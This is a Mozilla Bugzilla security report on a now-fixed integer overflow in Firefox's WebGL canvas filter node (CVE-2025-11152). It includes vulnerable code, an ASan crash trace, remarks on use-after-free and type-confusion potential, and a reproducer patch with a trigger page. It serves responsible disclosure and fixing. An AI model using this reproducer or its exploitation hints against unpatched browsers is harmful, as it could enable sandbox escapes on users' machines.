Closed Bug 1987246 (CVE-2025-11152) Opened 9 months ago Closed 9 months ago

Integer overflow while resizing FilterNodeWebgl vector (sandbox escape)

Categories

(Core :: Graphics: Canvas2D, defect)

defect

Tracking

()

RESOLVED FIXED
145 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr128 --- unaffected
firefox-esr140 --- unaffected
firefox142 --- wontfix
firefox143 + fixed
firefox144 + fixed
firefox145 + fixed

People

(Reporter: oskarlindberg348, Assigned: lsalzman)

References

(Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main143.0.3+])

Attachments

(2 files)

writeup follows

Flags: sec-bounty?

The writeup images are attached as new files, since i couldn't paste them here for some reason :(

Background

This bug a combination of the accelerated canvas 2d actor (PCanvas) and the InlineTranslator,

In the canvas api, one can draw filters onto the draw target, there are several commands which helps doing that:

  1. Create a draw target.
  2. Create a node filter.
  3. Attach the filter/surfaced to the node filter.

Vulnerability

When setting the filter node input, we call RecordedFilterNodeSetInput::PlayEvent.
The node is a filter node which has two different kind of backings:

  1. Software backing (the backing of skia nodes).
  2. Webgl backing (backing webgl draw targets).

When setting the filter onto the node, we specify the fiilter index as a uint32.
in the case of the software backing, this index is limited and checked:

void FilterNodeSoftware::SetInput(uint32_t aInputEnumIndex,
                                  SourceSurface* aSurface,
                                  FilterNodeSoftware* aFilter) {
  int32_t inputIndex = InputIndex(aInputEnumIndex);
  if (inputIndex < 0) {
    gfxDevCrash(LogReason::FilterInputSet) << "Invalid set " << inputIndex;
    return;
  }
  ... 
}

However for the case of webgl filter node, the validation is done incorrectly:

void FilterNodeWebgl::SetInput(uint32_t aIndex, FilterNode* aFilter) {
  if (aFilter && aFilter->GetBackendType() != FILTER_BACKEND_WEBGL) {
    MOZ_ASSERT(false, "FilterNodeWebgl required as input");
    return;
  }

  ReserveInputIndex(aIndex);
  auto* webglFilter = static_cast<FilterNodeWebgl*>(aFilter);
  mInputFilters[aIndex] = webglFilter;
  mInputSurfaces[aIndex] = nullptr;
  if (mSoftwareFilter) {
    MOZ_ASSERT(!webglFilter || webglFilter->mSoftwareFilter);
    mSoftwareFilter->SetInput(
        aIndex, webglFilter ? webglFilter->mSoftwareFilter.get() : nullptr);
  }
}

The ReserveInputIndex wishes to make sure there is enough space for the newly specified index, however it does this by:

void FilterNodeWebgl::ReserveInputIndex(uint32_t aIndex) {
  if (mInputSurfaces.size() <= aIndex) {
    mInputSurfaces.resize(aIndex + 1);
  }
  if (mInputFilters.size() <= aIndex) {
    mInputFilters.resize(aIndex + 1);
  }
}

since the addition of aIndex and 1 is done in a uint32, aIndex + 1 can overflow and turn to 0, actually shrinking the vector!
This will cause an OOBW on

mInputFilters[aIndex] = webglFilter;

We can see the addition in IDA:
![[Pasted image 20250906092112.png]]
![[Pasted image 20250906092148 1.png]]
And we can see the addition is loaded onto edx for further processing.

Asan report

Truncated asan report follows:

==886099==ERROR: AddressSanitizer: SEGV on unknown address 0x00017fff7fff (pc 0x729f2e9b786e bp 0x729e7211e950 sp 0x729e7211e930 T46)
==886099==The signal is caused by a READ memory access.
    #0 0x729f2e9b786e in RefPtr<mozilla::gfx::FilterNodeWebgl>::assign_assuming_AddRef(mozilla::gfx::FilterNodeWebgl*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:65:17
    #1 0x729f2e9b786e in RefPtr<mozilla::gfx::FilterNodeWebgl>::assign_with_AddRef(mozilla::gfx::FilterNodeWebgl*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:61:5
    #2 0x729f2e9b786e in RefPtr<mozilla::gfx::FilterNodeWebgl>::operator=(mozilla::gfx::FilterNodeWebgl*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:202:5
    #3 0x729f2e9b786e in mozilla::gfx::FilterNodeWebgl::SetInput(unsigned int, mozilla::gfx::FilterNode*) /home/user/Downloads/firefox/dom/canvas/FilterNodeWebgl.cpp:81:25
    #4 0x729f2a15683d in mozilla::gfx::RecordedFilterNodeSetInput::PlayEvent(mozilla::gfx::Translator*) const /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h
    #5 0x729f2a7a22b1 in mozilla::layers::CanvasTranslator::TranslateRecording()::$_1::operator()(mozilla::gfx::RecordedEvent*) const /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:716:33
    #6 0x729f2a7a22b1 in bool std::__invoke_impl<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>(std::__invoke_other, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/invoke.h:60:14
    #7 0x729f2a7a22b1 in std::enable_if<is_invocable_r_v<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>, bool>::type std::__invoke_r<bool, mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*>(mozilla::layers::CanvasTranslator::TranslateRecording()::$_1&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/invoke.h:113:9
    #8 0x729f2a7a22b1 in std::_Function_handler<bool (mozilla::gfx::RecordedEvent*), mozilla::layers::CanvasTranslator::TranslateRecording()::$_1>::_M_invoke(std::_Any_data const&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/std_function.h:291:9
    #9 0x729f2a158b4d in std::function<bool (mozilla::gfx::RecordedEvent*)>::operator()(mozilla::gfx::RecordedEvent*) const /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/std_function.h:622:14
    #10 0x729f2a158b4d in bool mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>(mozilla::gfx::MemReader&, mozilla::gfx::RecordedEvent::EventType, std::function<bool (mozilla::gfx::RecordedEvent*)> const&) /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:4707:5
    #11 0x729f2a74f094 in mozilla::layers::CanvasTranslator::TranslateRecording() /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:700:20
    #12 0x729f2a7516fa in mozilla::layers::CanvasTranslator::SetDataSurfaceBuffer(mozilla::ipc::shared_memory::Handle<(mozilla::ipc::shared_memory::Type)0>&&) /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:354:10
    #13 0x729f2a752eff in mozilla::layers::CanvasTranslator::HandleCanvasTranslatorEvents() /home/user/Downloads/firefox/gfx/layers/ipc/CanvasTranslator.cpp:827:13

==886099==Register values:
rax = 0x00000007fffffff8  rbx = 0x00000000ffffffff  rcx = 0x00000000ffffffff  rdx = 0x0000000000000000
rdi = 0x000050b000466d50  rsi = 0x0000000000000000  rbp = 0x0000729e7211e950  rsp = 0x0000729e7211e930
 r8 = 0x000050b000466d70   r9 = 0x00000a160008cdae  r10 = 0x0000000043ccbe42  r11 = 0x00000a3400098ea7
r12 = 0x00000000ffffffff  r13 = 0x00000a3400098e90  r14 = 0x000050b000466d40  r15 = 0x000050b000466d40
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:65:17 in RefPtr<mozilla::gfx::FilterNodeWebgl>::assign_assuming_AddRef(mozilla::gfx::FilterNodeWebgl*)

==886099==ABORTING

You can see the access to address 0x00000007fffffff8 = 0xffffffff * SIZEOF(RefPtr) , when SIZEOF(RefPtr) = 8, we can also access this offset relative to the mInputFilters or mInputSurfaces vector start.

This crashes on the read, since it reads to check if there is already a RefPtr to release,
a write will follow, writing the surface pointer onto 0x00000007fffffff8 (or other address depending on the vectors initialisation).

Implications

  1. This is an OOBW, which can also cause a UAF on another object:
    ![[Pasted image 20250906092434.png]]
    As we can see, if the pointer is not zero, the ref count is being decremented.

Also we can make us of a pointer to a surface/filter to cause type confusion:
![[Pasted image 20250906092631.png]]

This affects the main branch of firefox and all platforms.
On linux this crashes the browser.
On windows, as discussed on previous bugs, by crashing the GPU enough times, the browser will take responsability for the canvas actor.

Reproduction

  1. Please apply the following patch:
diff --git a/dom/canvas/OffscreenCanvasDisplayHelper.cpp b/dom/canvas/OffscreenCanvasDisplayHelper.cpp
index 298c8ea2cc57..4391eb29a79d 100644
--- a/dom/canvas/OffscreenCanvasDisplayHelper.cpp
+++ b/dom/canvas/OffscreenCanvasDisplayHelper.cpp
@@ -14,9 +14,14 @@
 #include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/CanvasManagerChild.h"
 #include "mozilla/gfx/DataSurfaceHelpers.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/RecordedEvent.h"
 #include "mozilla/gfx/Swizzle.h"
+#include "mozilla/gfx/Types.h"
+#include "mozilla/layers/CanvasChild.h"
 #include "mozilla/layers/ImageBridgeChild.h"
 #include "mozilla/layers/PersistentBufferProvider.h"
+#include "mozilla/layers/RecordedCanvasEventImpl.h"
 #include "mozilla/layers/TextureClientSharedSurface.h"
 #include "mozilla/layers/TextureWrapperImage.h"
 #include "nsICanvasRenderingContextInternal.h"
@@ -208,6 +213,36 @@ bool OffscreenCanvasDisplayHelper::CommitFrameToCompositor(
     }
   });
 
+  auto cm = gfx::CanvasManagerChild::Get();
+  auto cc = cm->GetCanvasChild();
+  if (cc) {
+    cc->EnsureRecorder(gfx::IntSize(100, 100), gfx::SurfaceFormat::A8,
+                       layers::TextureType::Unknown,
+                       layers::TextureType::Unknown);
+    // cc->RecordEvent(layers::RecordedCanvasDrawTargetCreation(
+    //     gfx::ReferencePtr(0x1000), layers::RemoteTextureOwnerId::GetNext(),
+    //     gfx::BackendType::WEBGL, gfx::IntSize(100, 5),
+    //     gfx::SurfaceFormat::A8)); // Creates webgl draw target.
+
+    // cc->RecordEvent(mozilla::gfx::RecordedFilterNodeCreation());
+    auto webgl_dt =
+        cc->CreateDrawTarget(layers::RemoteTextureOwnerId::GetNext(),
+                             gfx::IntSize(0x80, 0x80), gfx::SurfaceFormat::A8);
+    // the webgl_dt should be the current draw target, so creating a filter,
+    // will create a webgl filter node.
+    // cc->RecordEvent(gfx::RecordedSetCurrentDrawTarget(gfx::ReferencePtr(0x1000)));
+
+    // auto ptr = dt.take();
+    auto filter_node_recording =
+        reinterpret_cast<gfx::DrawTarget *>(webgl_dt.take())->CreateFilter(
+            gfx::FilterType::TRANSFORM);
+    auto filter_node_recording_ptr =
+        filter_node_recording.downcast<gfx::FilterNode>().take();
+    filter_node_recording_ptr->SetInput(0xffffffff, filter_node_recording_ptr);
+
+  }
+  cc.forget();
+
   MutexAutoLock lock(mMutex);
 
   gfx::SurfaceFormat format = gfx::SurfaceFormat::B8G8R8A8;
diff --git a/gfx/layers/ipc/CanvasChild.cpp b/gfx/layers/ipc/CanvasChild.cpp
index 6c00a266f388..9accdceb9294 100644
--- a/gfx/layers/ipc/CanvasChild.cpp
+++ b/gfx/layers/ipc/CanvasChild.cpp
@@ -521,6 +521,8 @@ already_AddRefed<gfx::DrawTargetRecording> CanvasChild::CreateDrawTarget(
       mRecorder, aTextureOwnerId, dummyDt, aSize);
   dt->SetOptimizeTransform(true);
 
+  mRecorder->SetDrawTarget(dt); // Oskar: added this to make the created webgl the current drawtarget.
+
   mTextureInfo.insert({aTextureOwnerId, {}});
 
   return dt.forget();
diff --git a/gfx/thebes/gfxPlatform.cpp b/gfx/thebes/gfxPlatform.cpp
index e9e6049d6245..a35d9bc05e51 100644
--- a/gfx/thebes/gfxPlatform.cpp
+++ b/gfx/thebes/gfxPlatform.cpp
@@ -2500,7 +2500,7 @@ void gfxPlatform::InitAcceleration() {
                             "FEATURE_REMOTE_CANVAS_NOT_WINDOWS"_ns);
 #endif
 
-    gfxVars::SetRemoteCanvasEnabled(feature.IsEnabled());
+    gfxVars::SetRemoteCanvasEnabled(true);
   }
 }
 
@@ -3446,7 +3446,7 @@ static void AcceleratedCanvas2DPrefChangeCallback(const char*, void*) {
                          "FEATURE_FAILURE_DISABLED_BY_REMOTE_CANVAS"_ns);
   }
 
-  gfxVars::SetUseAcceleratedCanvas2D(feature.IsEnabled());
+  gfxVars::SetUseAcceleratedCanvas2D(true);
 }
 
 void gfxPlatform::InitAcceleratedCanvas2DConfig() {

And serve the following html to trigger the patch:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OffscreenCanvas Rectangle</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }

        h1 {
            color: #333;
            margin-bottom: 20px;
        }

        canvas {
            border: 2px solid #333;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .status {
            margin-top: 20px;
            font-size: 1.1em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>OffscreenCanvas Example</h1>
    <canvas id="main-canvas" width="400" height="300"></canvas>
    <div class="status"></div>

    <script>
        // Get the canvas from the main HTML document.
        const canvas = document.getElementById('main-canvas');
        const statusDiv = document.querySelector('.status');

        // Check if OffscreenCanvas is supported by the browser.
        if ('transferControlToOffscreen' in canvas) {
            statusDiv.textContent = 'Transferring canvas control to web worker...';

            // Transfer the canvas control to an OffscreenCanvas.
            const offscreen = canvas.transferControlToOffscreen();

            // Create a web worker from a Blob containing the worker's code.
            // This allows us to keep all the code in a single HTML file.
            const workerCode = `
                self.onmessage = function(event) {
                    // Receive the OffscreenCanvas object from the main thread.
                    const offscreenCanvas = event.data.canvas;
                    
                    // Get the 2D rendering context for the offscreen canvas.
                    const ctx = offscreenCanvas.getContext('2d');
                    
                    // All drawing operations happen here, completely off the main thread.
                    ctx.fillStyle = '#4CAF50'; // Green color
                    ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
                    
                    // Send a message back to the main thread to confirm completion.
                    self.postMessage('Drawing complete!');
                };
            `;
            const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
            const worker = new Worker(URL.createObjectURL(workerBlob));

            // Send the OffscreenCanvas to the worker.
            // The canvas is "transferred" to the worker's memory space,
            // which means it is no longer usable on the main thread.
            worker.postMessage({ canvas: offscreen }, [offscreen]);

            // Listen for a message from the worker to update the status.
            worker.onmessage = function(event) {
                statusDiv.textContent = 'Worker finished: ' + event.data;
            };

        } else {
            statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
        }
    </script>
</body>
</html>

This vulnerability was found via manual code auditing.

Attached file writeup_images.zip —

Attached writeup images

Group: firefox-core-security → gfx-core-security
Component: Security → Graphics: Canvas2D
Product: Firefox → Core

Lee, could you look into this?

Flags: needinfo?(lsalzman)
Attached file (secure) —
Assignee: nobody → lsalzman
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Flags: needinfo?(lsalzman)

The input index when supplied with UINT32_MAX overflows after a + 1 before a call to resize. Then the UINT32_MAX value is used to index into the mInputFilters array. It doesn't seem like this lets you use an arbitrary value other than UINT32_MAX to effect this, but technically it's still an int-overflow and a bounds violation.

The patch mitigates this by adding validation for the input index.

Comment on attachment 9512076 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Unknown
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: 142+
  • If not all supported branches, which bug introduced the flaw?: Bug 1912897
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9512076 - Flags: sec-approval?

Thanks for the quick fix. I'm going to drop the csectype-bounds because that's kind of fallout from the int overflow rather than the initial cause, although a release mode bounds checked container would have prevented the issue.

It looks like bug 1846683 was a similar issue in FilterNodeD2D1.

See Also: → CVE-2023-5168

Set release status flags based on info from the regressing bug 1912897

Summary: Sandbox escape from content process via wrong index semantics on the canvas actor → Integer overflow while resizing FilterNodeWebgl vector (sandbox escape)

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown

The patch is pretty obviously fixing an integer overflow/bounds situation so we need to figure out what release this can land in before granting sec-approval. Normally sec-approvals are paused after we build the last beta (see https://whattrainisitnow.com/release/#:~:text=sec%2Dapproval%20request%20deadline). We've already built the release candidate. Since this is responsibly reported it shouldn't trigger an emergency re-build of the RC.

It's a good candidate for the mid-cycle 143 update, though, since it doesn't affect any of the ESRs. We can wait on the sec-approval until after the 143 release, approve it for nightly and get a little bit of testing and then uplift it then.

Set release status flags based on info from the regressing bug 1912897

Comment on attachment 9512076 [details]
(secure)

Approved to land and request uplift

Attachment #9512076 - Flags: sec-approval? → sec-approval+

Comment on attachment 9512076 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: Sec-high
  • Is this code covered by automated tests?: Unknown
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky):
  • String changes made/needed:
  • Is Android affected?: Yes
Attachment #9512076 - Flags: approval-mozilla-release?
Attachment #9512076 - Flags: approval-mozilla-beta?
Flags: needinfo?(lsalzman)
Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 9 months ago
Resolution: --- → FIXED
Target Milestone: --- → 145 Branch

Comment on attachment 9512076 [details]
(secure)

Approved for 144.0b3

Attachment #9512076 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Flags: sec-bounty? → sec-bounty+
QA Whiteboard: [sec] [qa-triage-done-c145/b144]

Comment on attachment 9512076 [details]
(secure)

Approved for 143.0.3.

Attachment #9512076 - Flags: approval-mozilla-release? → approval-mozilla-release+
Alias: CVE-2025-11152
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main143.0.3+]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: